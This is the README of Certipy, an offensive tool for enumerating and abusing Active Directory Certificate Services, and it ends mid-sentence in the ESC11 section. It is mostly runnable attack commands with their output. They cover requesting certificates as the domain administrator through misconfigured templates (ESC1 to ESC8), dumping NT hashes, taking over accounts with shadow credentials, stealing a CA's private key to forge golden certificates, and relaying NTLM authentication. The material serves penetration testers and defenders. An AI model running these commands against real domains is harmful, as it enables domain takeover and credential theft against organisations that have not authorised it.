Package: certipy-ad
CertipyCertipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). If you're not familiar with AD CS and the various domain escalation techniques, I highly recommend readingCertified Pre-OwnedbyWill SchroederandLee Christensen.Table of ContentsCertipyTable of ContentsInstallationUsageFindRequestAuthenticateShadow CredentialsGolden CertificatesCertificatesDomain EscalationESC1ESC2ESC3ESC4ESC6ESC7ESC8ESC9 & ESC10ESC11ContactCreditsInstallationpip3installcertipy-adUsageA lot of the usage and features are demonstrated in theblog postsfor the release of Certipy2.0and4.0.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy [-v] [-h] {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template} ...

Active Directory Certificate Services enumeration and abuse

positional arguments:
  {account,auth,ca,cert,find,forge,ptt,relay,req,shadow,template}
                        Action
    account             Manage user and machine accounts
    auth                Authenticate using certificates
    ca                  Manage CA and certificates
    cert                Manage certificates and private keys
    find                Enumerate AD CS
    forge               Create Golden Certificates
    ptt                 Inject TGT for SSPI authentication
    relay               NTLM Relay to AD CS HTTP Endpoints
    req                 Request certificates
    shadow              Abuse Shadow Credentials for account takeover
    template            Manage certificate templates

optional arguments:
  -v, --version         Show Certipy's version number and exit
  -h, --help            Show this help message and exitFindThefindcommand is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy find [-h] [-debug] [-bloodhound] [-old-bloodhound] [-text] [-stdout] [-json] [-output prefix] [-enabled] [-dc-only] [-vulnerable] [-hide-admins] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp]
                    [-timeout seconds] [-u username@domain] [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn debug output on

output options:
  -bloodhound           Output result as BloodHound data for the custom-built BloodHound version from @ly4k with PKI support
  -old-bloodhound       Output result as BloodHound data for the original BloodHound version from @BloodHoundAD without PKI support
  -text                 Output result as text
  -stdout               Output result as text to stdout
  -json                 Output result as JSON
  -output prefix        Filename prefix for writing results to

find options:
  -enabled              Show only enabled certificate templates. Does not affect BloodHound output
  -dc-only              Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment
  -vulnerable           Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output
  -hide-admins          Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)The output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.$certipyfind-ujohn@corp.local-pPassw0rd-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Findingcertificatetemplates[*]Found45certificatetemplates[*]Findingcertificateauthorities[*]Found1certificateauthority[*]Found23enabledcertificatetemplates[*]TryingtogetCAconfigurationfor'CORP-DC-CA'viaCSRA[*]GotCAconfigurationfor'CORP-DC-CA'[*]SavedBloodHounddatato'20220802164803_Certipy.zip'.DraganddropthefileintotheBloodHoundGUIfrom@ly4k[*]Savedtextoutputto'20220802164803_Certipy.txt'[*]SavedJSONoutputto'20220802164803_Certipy.json'To only output BloodHound data, you can specify the-bloodhoundparameter.$certipyfind-ujohn@corp.local-pPassw0rd-bloodhound-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Findingcertificatetemplates[*]Found45certificatetemplates[*]Findingcertificateauthorities[*]Found1certificateauthority[*]Found23enabledcertificatetemplates[*]TryingtogetCAconfigurationfor'CORP-DC-CA'viaCSRA[*]GotCAconfigurationfor'CORP-DC-CA'[*]SavedBloodHounddatato'20220802164835_Certipy.zip'.DraganddropthefileintotheBloodHoundGUIfrom@ly4kThe BloodHound data is saved as a ZIP-file that can be imported into my forked version ofBloodHoundwith PKI support.If you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the-old-bloodhoundparameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in theforked version.Custom Certipy queries for BloodHound can be found incustomqueries.json. These will not be necessary for the forked version.On Linux, custom BloodHound queries can be added in~/.config/bloodhound/customqueries.json, and for Windows inC:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.jsonRequestThereqcommand is useful for requesting, retrieving, and renewing certificates.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy req [-h] [-debug] -ca certificate authority name [-template template name] [-upn alternative UPN] [-dns alternative DNS] [-subject subject] [-retrieve request ID] [-on-behalf-of domain\account] [-pfx pfx/p12 file name] [-key-size RSA key length] [-archive-key]
                   [-renew] [-out output file name] [-web] [-dynamic-endpoint] [-scheme http scheme] [-port PORT] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain] [-p password]
                   [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn debug output on
  -ca certificate authority name

certificate request options:
  -template template name
  -upn alternative UPN
  -dns alternative DNS
  -subject subject      Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL
  -retrieve request ID  Retrieve an issued certificate specified by a request ID instead of requesting a new certificate
  -on-behalf-of domain\account
                        Use a Certificate Request Agent certificate to request on behalf of another user
  -pfx pfx/p12 file name
                        Path to PFX for -on-behalf-of or -renew
  -key-size RSA key length
                        Length of RSA key. Default: 2048
  -archive-key          Send private key for Key Archival
  -renew                Create renewal request

output options:
  -out output file name

connection options:
  -web                  Use Web Enrollment instead of RPC
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

rpc connection options:
  -dynamic-endpoint     Prefer dynamic TCP endpoint over named pipe

http connection options:
  -scheme http scheme
  -port PORT            Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme.

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)To request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the defaultUsertemplate.In this example, we request a certificate from the CAcorp-CAbased on the templateUser.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateUser
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis773[*]GotcertificatewithUPN'JOHN@corp.local'[*]CertificateobjectSIDis'S-1-5-21-980154951-4172460254-2779440654-1103'[*]Savedcertificateandprivatekeyto'john.pfx'If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage.If you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the-sspiparameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context.AuthenticateTheauthcommand will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See theblog postsfor more information on when to use which option.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy auth [-h] -pfx pfx/p12 file name [-no-save] [-no-hash] [-ptt] [-print] [-kirbi] [-debug] [-dc-ip ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-username username] [-domain domain] [-ldap-shell] [-ldap-port port] [-ldap-user-dn dn]

optional arguments:
  -h, --help            show this help message and exit
  -pfx pfx/p12 file name
                        Path to certificate
  -no-save              Don't save TGT to file
  -no-hash              Don't request NT hash
  -ptt                  Submit TGT for current logon session (Windows only)
  -print                Print TGT in Kirbi format
  -kirbi                Save TGT in Kirbi format
  -debug                Turn debug output on

connection options:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -username username
  -domain domain
  -ldap-shell           Authenticate with the certificate via Schannel against LDAP

ldap options:
  -ldap-port port       LDAP port. Default: 389
  -ldap-user-dn dn      Distinguished Name of target account for LDAPS authenticationBy default, Certipy will try to extract the username and domain from the certificate (-pfx) for authentication via Kerberos.$certipyauth-pfxadministrator.pfx-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Usingprincipal:administrator@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'administrator.ccache'[*]TryingtoretrieveNThashfor'administrator'[*]GotNThashfor'administrator@corp.local':fc525c9683e8fe067095ba2ddc971889The NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use-pttto inject the TGT into your current session.If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS.$certipyauth-pfx'administrator.pfx'-username'administrator'-domain'corp.local'-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Usingprincipal:administrator@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'administrator.ccache'[*]TryingtoretrieveNThashfor'administrator'[*]GotNThashfor'administrator@corp.local':fc525c9683e8fe067095ba2ddc971889Shadow CredentialsTheshadowcommand is useful for taking over an account when you can write to themsDS-KeyCredentialLinkattribute of the account. Read more about Shadow Credentialshere.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy shadow [-h] [-account target account] [-device-id DEVICE_ID] [-debug] [-out output file name] [-scheme ldap scheme] [-dc-ip ip address] [-target-ip ip address] [-target dns/ip address] [-ns nameserver] [-dns-tcp] [-timeout seconds] [-u username@domain]
                      [-p password] [-hashes [LMHASH:]NTHASH] [-k] [-sspi] [-aes hex key] [-no-pass]
                      {list,add,remove,clear,info,auto}

positional arguments:
  {list,add,remove,clear,info,auto}
                        Key Credentials action

optional arguments:
  -h, --help            show this help message and exit
  -account target account
                        Account to target. If omitted, the user specified in the target will be used
  -device-id DEVICE_ID  Device ID of the Key Credential Link
  -debug                Turn debug output on

output options:
  -out output file name

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -target dns/ip address
                        DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication
  -ns nameserver        Nameserver for DNS resolution
  -dns-tcp              Use TCP instead of UDP for DNS queries
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: username@domain
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [LMHASH:]NTHASH
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -sspi                 Use Windows Integrated Authentication (SSPI)
  -aes hex key          AES key to use for Kerberos Authentication (128 or 256 bits)
  -no-pass              Don't ask for password (useful for -k and -sspi)In short, the Shadow Credentials attack is performed by adding a new "Key Credential" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication.Certipy'sshadowcommand has anautoaction, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.$certipyshadowauto-usernameJohn@corp.local-pPassw0rd-accountJane
Certipyv4.0.0-byOliverLyak(ly4k)[*]Targetinguser'Jane'[*]Generatingcertificate[*]Certificategenerated[*]GeneratingKeyCredential[*]KeyCredentialgeneratedwithDeviceID'00f38738-288e-4c85-479a-a6313ab46fe6'[*]AddingKeyCredentialwithdeviceID'00f38738-288e-4c85-479a-a6313ab46fe6'totheKeyCredentialsfor'Jane'[*]SuccessfullyaddedKeyCredentialwithdeviceID'00f38738-288e-4c85-479a-a6313ab46fe6'totheKeyCredentialsfor'Jane'[*]Authenticatingas'Jane'withthecertificate[*]Usingprincipal:jane@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'jane.ccache'[*]TryingtoretrieveNThashfor'jane'[*]RestoringtheoldKeyCredentialsfor'Jane'[*]SuccessfullyrestoredtheoldKeyCredentialsfor'Jane'[*]NThashfor'Jane':a87f3a337d73085c45f9416be5787d86This action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage orblog postfor more information.Golden CertificatesGolden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromisedkrbtgtaccount's NT hash.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy forge [-h] -ca-pfx pfx/p12 file name [-upn alternative UPN] [-dns alternative DNS] [-template pfx/p12 file name] [-subject subject] [-issuer issuer] [-crl ldap path] [-serial serial number] [-key-size RSA key length] [-debug] [-out output file name]

optional arguments:
  -h, --help            show this help message and exit
  -ca-pfx pfx/p12 file name
                        Path to CA certificate
  -upn alternative UPN
  -dns alternative DNS
  -template pfx/p12 file name
                        Path to template certificate
  -subject subject      Subject to include certificate
  -issuer issuer        Issuer to include certificate. If not specified, the issuer from the CA cert will be used
  -crl ldap path        ldap path to a CRL
  -serial serial number
  -key-size RSA key length
                        Length of RSA key. Default: 2048
  -debug                Turn debug output on

output options:
  -out output file nameIn order to forge a certificate, we need the CA's certificate and private key.Certipy can automatically retrieve the certificate and private key with the-backupparameter. In order to do so, the user must have administrative privileges on the CA server.$certipyca-backup-ca'corp-DC-CA'-usernameadministrator@corp.local-hashesfc525c9683e8fe067095ba2ddc971889
Certipyv4.0.0-byOliverLyak(ly4k)[*]Creatingnewservice[*]Creatingbackup[*]Retrievingbackup[*]Gotcertificateandprivatekey[*]Savedcertificateandprivatekeyto'CORP-DC-CA.pfx'[*]CleaningupWith the CA's certificate and private key, we can for instance forge a certificate for the domain controllerDC$:$certipyforge-ca-pfxCORP-DC-CA.pfx-upnadministrator@corp.local-subject'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'Certipyv4.0.0-byOliverLyak(ly4k)[*]Savedforgedcertificateandprivatekeyto'administrator_forged.pfx'$certipyauth-pfxadministrator_forged.pfx-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Usingprincipal:administrator@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'administrator.ccache'[*]TryingtoretrieveNThashfor'administrator'[*]GotNThashfor'administrator@corp.local':fc525c9683e8fe067095ba2ddc971889The forged certificate can then be used for authentication with Certipy'sauthcommand. If the KDC returnsKDC_ERR_CLIENT_NOT_TRUSTED, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with-crl, or you can use a previously issued certificate as a template with the-templateparameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose.CertificatesThecertcommand is useful for working with PFX's from other tools, such asCertifyorKrbRelay, which creates encrypted PFXs.Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy cert [-h] [-pfx infile] [-password password] [-key infile] [-cert infile] [-export] [-out outfile] [-nocert] [-nokey] [-debug]

optional arguments:
  -h, --help          show this help message and exit
  -pfx infile         Load PFX from file
  -password password  Set import password
  -key infile         Load private key from file
  -cert infile        Load certificate from file
  -export             Output PFX file
  -out outfile        Output filename
  -nocert             Don't output certificate
  -nokey              Don't output private key
  -debug              Turn debug output onCertipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can recreate the PFX without the password:$certipycert-pfxencrypted.pfx-password"a387a1a1-5276-4488-9877-4e90da7567a4"-export-outdecrypted.pfx
Certipyv4.0.0-byOliverLyak(ly4k)[*]WritingPFXto'decrypted.pfx'Thedecrypted.pfxfile can then be used with Certipy's commands.It is also possible to use thecertcommand to extract the private key and certificate from a PFX file by leaving out the-exportparameter:$certipycert-pfxjohn.pfx
Certipyv4.0.0-byOliverLyak(ly4k)-----BEGINCERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----ENDCERTIFICATE-----
-----BEGINPRIVATEKEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----ENDPRIVATEKEY-----If you only want the certificate or the private key, you can specify-nokeyor-nocert, respectively.$certipycert-pfxjohn.pfx-nokey
Certipyv4.0.0-byOliverLyak(ly4k)-----BEGINCERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----ENDCERTIFICATE-----

$certipycert-pfxjohn.pfx-nocert
Certipyv4.0.0-byOliverLyak(ly4k)-----BEGINPRIVATEKEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----ENDPRIVATEKEY-----Domain EscalationThe following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth inCertified Pre-Ownedand practical examples can be found in my blog post on theCertipy 2.0release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy.ESC1ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the-upnand-dnsparameter, respectively.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateESC1-Test-upnadministrator@corp.local-dnsdc.corp.local
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis780[*]GotcertificatewithmultipleidentificationsUPN:'administrator@corp.local'DNSHostName:'dc.corp.local'[*]CertificatehasnoobjectSID[*]Savedcertificateandprivatekeyto'administrator_dc.pfx'It is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, theauthcommand will ask you which identity to authenticate as.$certipyauth-pfxadministrator_dc.pfx-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Foundmultipleidentificationsincertificate[*]Pleaseselectone:[0]UPN:'administrator@corp.local'[1]DNSHostName:'dc.corp.local'>1[*]Usingprincipal:dc$@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'dc.ccache'[*]TryingtoretrieveNThashfor'dc$'[*]GotNThashfor'dc$@corp.local':36a50f712629962b3d5a3641529187b0ESC2ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below.ESC3ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.First, we must request a certificate based on the vulnerable certificate template ESC3.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateESC3-Test
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis781[*]GotcertificatewithUPN'JOHN@corp.local'[*]CertificateobjectSIDis'S-1-5-21-980154951-4172460254-2779440654-1103'[*]Savedcertificateandprivatekeyto'john.pfx'We can then use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user by specifying the-on-behalf-of. The-on-behalf-ofparameter value must be in the form ofdomain\user, and not the FQDN of the domain, i.e.corprather thancorp.local.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateUser-on-behalf-of'corp\Administrator'-pfxjohn.pfx
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis782[*]GotcertificatewithUPN'Administrator@corp.local'[*]CertificateobjectSIDis'S-1-5-21-980154951-4172460254-2779440654-500'[*]Savedcertificateandprivatekeyto'administrator.pfx'And finally, we can use the new certificate to authenticate ascorp\Administrator.$certipyauth-pfxadministrator.pfx-dc-ip172.16.126.128
Certipyv4.0.0-byOliverLyak(ly4k)[*]Usingprincipal:administrator@corp.local[*]TryingtogetTGT...[*]GotTGT[*]Savedcredentialcacheto'administrator.ccache'[*]TryingtoretrieveNThashfor'administrator'[*]GotNThashfor'administrator@corp.local':fc525c9683e8fe067095ba2ddc971889ESC4ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.By default, Certipy will overwrite the configuration to make it vulnerable to ESC1.We can specify the-save-oldparameter to save the old configuration, which is useful for restoring the configuration afterwards.$certipytemplate-usernamejohn@corp.local-passwordPassw0rd-templateESC4-Test-save-old
Certipyv4.0.0-byOliverLyak(ly4k)[*]Savedoldconfigurationfor'ESC4-Test'to'ESC4-Test.json'[*]Updatingcertificatetemplate'ESC4-Test'[*]Successfullyupdated'ESC4-Test'The certificate template is now vulnerable to the ESC1 technique.Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the-upnor-dnsparameter.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateESC4-Test-upnadministrator@corp.local
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis783[*]GotcertificatewithUPN'administrator@corp.local'[*]CertificatehasnoobjectSID[*]Savedcertificateandprivatekeyto'administrator.pfx'If you want to restore the old configuration, you can specify the path to the saved configuration with the-configurationparameter.$certipytemplate-usernamejohn@corp.local-passwordPassw0rd-templateESC4-Test-configurationESC4-Test.json
Certipyv4.0.0-byOliverLyak(ly4k)[*]Updatingcertificatetemplate'ESC4-Test'[*]Successfullyupdated'ESC4-Test'ESC6ESC6 is when the CA specifies theEDITF_ATTRIBUTESUBJECTALTNAME2flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerabilityCVE-2022–26923, this technique no longer works alone, but must be combined withESC10.The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester'sobjectSidproperty. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester'sobjectSid, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateUser-upnadministrator@corp.local
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis2[*]GotcertificatewithUPN'administrator@corp.local'[*]CertificateobjectSIDis'S-1-5-21-2496215469-2694655311-2823030825-1103'[*]Savedcertificateandprivatekeyto'administrator.pfx'$certipyreq-usernameadministrator@corp.local-passwordPassw0rd!-cacorp-DC-CA-targetca.corp.local-templateUser-upnadministrator@corp.local
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[*]Successfullyrequestedcertificate[*]RequestIDis3[*]GotcertificatewithUPN'administrator@corp.local'[*]CertificateobjectSIDis'S-1-5-21-2496215469-2694655311-2823030825-500'[*]Savedcertificateandprivatekeyto'administrator.pfx'This would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension.ESC7ESC7 is when a user has theManage CAorManage Certificatesaccess right on a CA. There are no public techniques that can abuse theManage Certificatesaccess right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.The"Certified Pre-Owned"whitepaper mentions that this access right can be used to enable theEDITF_ATTRIBUTESUBJECTALTNAME2flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has theManage CAaccess right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.Instead, I've found another technique that doesn't require any service restarts or configuration changes.PrerequisitesIn order for this technique to work, the user must also have theManage Certificatesaccess right, and the certificate templateSubCAmust be enabled. With theManage CAaccess right, we can fulfill these prerequisites.The technique relies on the fact that users with theManage CAandManage Certificatesaccess right can issue failed certificate requests. TheSubCAcertificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in theSubCA- which will be denied - but then issued by the manager afterwards.If you only have theManage CAaccess right, you can grant yourself theManage Certificatesaccess right by adding your user as a new officer.$certipyca-ca'corp-DC-CA'-add-officerjohn-usernamejohn@corp.local-passwordPassw0rd
Certipyv4.0.0-byOliverLyak(ly4k)[*]Successfullyaddedofficer'John'on'corp-DC-CA'TheSubCAtemplate can be enabled on the CA with the-enable-templateparameter. By default, theSubCAtemplate is enabled.$certipyca-ca'corp-DC-CA'-enable-templateSubCA-usernamejohn@corp.local-passwordPassw0rd
Certipyv4.0.0-byOliverLyak(ly4k)[*]Successfullyenabled'SubCA'on'corp-DC-CA'AttackIf we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on theSubCAtemplate.This request will be denied, but we will save the private key and note down the request ID.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-templateSubCA-upnadministrator@corp.local
Certipyv4.0.0-byOliverLyak(ly4k)[*]RequestingcertificateviaRPC[-]Goterrorwhiletryingtorequestcertificate:code:0x80094012-CERTSRV_E_TEMPLATE_DENIED-Thepermissionsonthecertificatetemplatedonotallowthecurrentusertoenrollforthistypeofcertificate.[*]RequestIDis785Wouldyouliketosavetheprivatekey?(y/N)y[*]Savedprivatekeyto785.key[-]FailedtorequestcertificateWith ourManage CAandManage Certificates, we can then issue the failed certificate request with thecacommand and the-issue-request <request ID>parameter.$certipyca-ca'corp-DC-CA'-issue-request785-usernamejohn@corp.local-passwordPassw0rd
Certipyv4.0.0-byOliverLyak(ly4k)[*]SuccessfullyissuedcertificateAnd finally, we can retrieve the issued certificate with thereqcommand and the-retrieve <request ID>parameter.$certipyreq-usernamejohn@corp.local-passwordPassw0rd-cacorp-DC-CA-targetca.corp.local-retrieve785Certipyv4.0.0-byOliverLyak(ly4k)[*]RerievingcertificatewithID785[*]Successfullyretrievedcertificate[*]GotcertificatewithUPN'administrator@corp.local'[*]CertificatehasnoobjectSID[*]Loadedprivatekeyfrom'785.key'[*]Savedcertificateandprivatekeyto'administrator.pfx'ESC8ESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.To start the relay server, we can run therelaycommand and specify the CA's IP in-target http://<ip>.By default, Certipy will request a certificate based on theMachineorUsertemplate depending on whether the relayed account name ends with$. It is possible to specify another template with the-templateparameter.We can then use a tool such asCoercerto coerce authentication. For domain controllers, we must specify-template DomainController.$certipyrelay-target'http://ca.corp.local'Certipyv4.7.0-byOliverLyak(ly4k)[*]Targetinghttp://ca.corp.local/certsrv/certfnsh.asp(ESC8)[*]Listeningon0.0.0.0:445[*]Requestingcertificatefor'CORP\\Administrator'basedonthetemplate'User'[*]GotcertificatewithUPN'Administrator@corp.local'[*]CertificateobjectSIDis'S-1-5-21-980154951-4172460254-2779440654-500'[*]Savedcertificateandprivatekeyto'administrator.pfx'[*]Exiting...ESC9 & ESC10ESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See theblog postfor more information.ESC11ESC11 is when the certificate authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST. This makes the RPC service vulnerable to NTLM relay attacks without signing, such as via SMB. The attack is similar to ESC8, except that we're targeting the RPC protocol instead of the HTTP protocol.To start the relay server, we can run therelaycommand and specify the CA's IP in-target rpc://<ip>. We must also specify the name of the certificate authority in-ca <name>.By default, Certipy will request a certificate based on theMachineorUsertemplate depending on whether the relayed account name ends with$. It is possible to specify another template with the-templateparameter.We can then use a tool such asCoercerto coerce authentication. For domain controllers, we must specify-template 